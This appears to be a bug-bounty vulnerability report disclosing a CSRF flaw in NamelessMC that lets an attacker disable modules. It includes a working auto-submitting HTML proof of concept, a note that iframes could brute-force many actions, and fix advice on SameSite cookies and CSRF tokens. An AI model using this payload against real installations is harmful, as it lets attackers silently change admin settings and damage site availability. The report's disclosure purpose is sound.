Cross-Site Request Forgery (CSRF) in namelessmc/nameless
Reported on
Aug 24th 2021
✍️ Description
Attacker able to disable any module with CSRF attack.
It does not matter at all that your application run in localhost or elsewhere, just it is enough to run on a browser and another low privilege user or attackers know the IP address or hostname of your application.
In CSRF attacks it is necessary that a user logged into your application and just going to a malicious website and after that only with a redirection attacker can perform attack on unprotected endpoint, this means only with visiting a site a unwanted action will be perform without that user aware from that.
Or users with low level privilege can send a link to other users and admins with higher privilege and then their malicious request will be executed without that victim users and admins be aware about that.
🕵️♂️ Proof of Concept
1.First of all admin or user with right privileges already should be logged in Browser.
2.Open the PoC.html (it is auto-submit).
3.Here module with id 2
will be disabled after the PoC.html file opened.
// PoC.html
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://localhost:8000/Nameless/index.php">
<input type="hidden" name="route" value="/panel/core/modules/" />
<input type="hidden" name="action" value="disable" />
<input type="hidden" name="m" value="2" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
This PoC can perform attack without that users noticed and Also PoC can send multiple request at same time that means attacker can Bruteforce all possible actions ( with using multiple Iframe )
💥 Impact
This vulnerability is capable of make high damage of availability of system.
Fix
The easiest way that you set strict
attribute on each cookie, Or you set Lax
and Use GET
requests only for receiving data not changing them.
The best way is that you set a CSRF token in each endpoint. 📍 Location index.php#L1
Occurrences
dear nameless team, if there iw any problem with this report and other of mine, just tell me. best regards.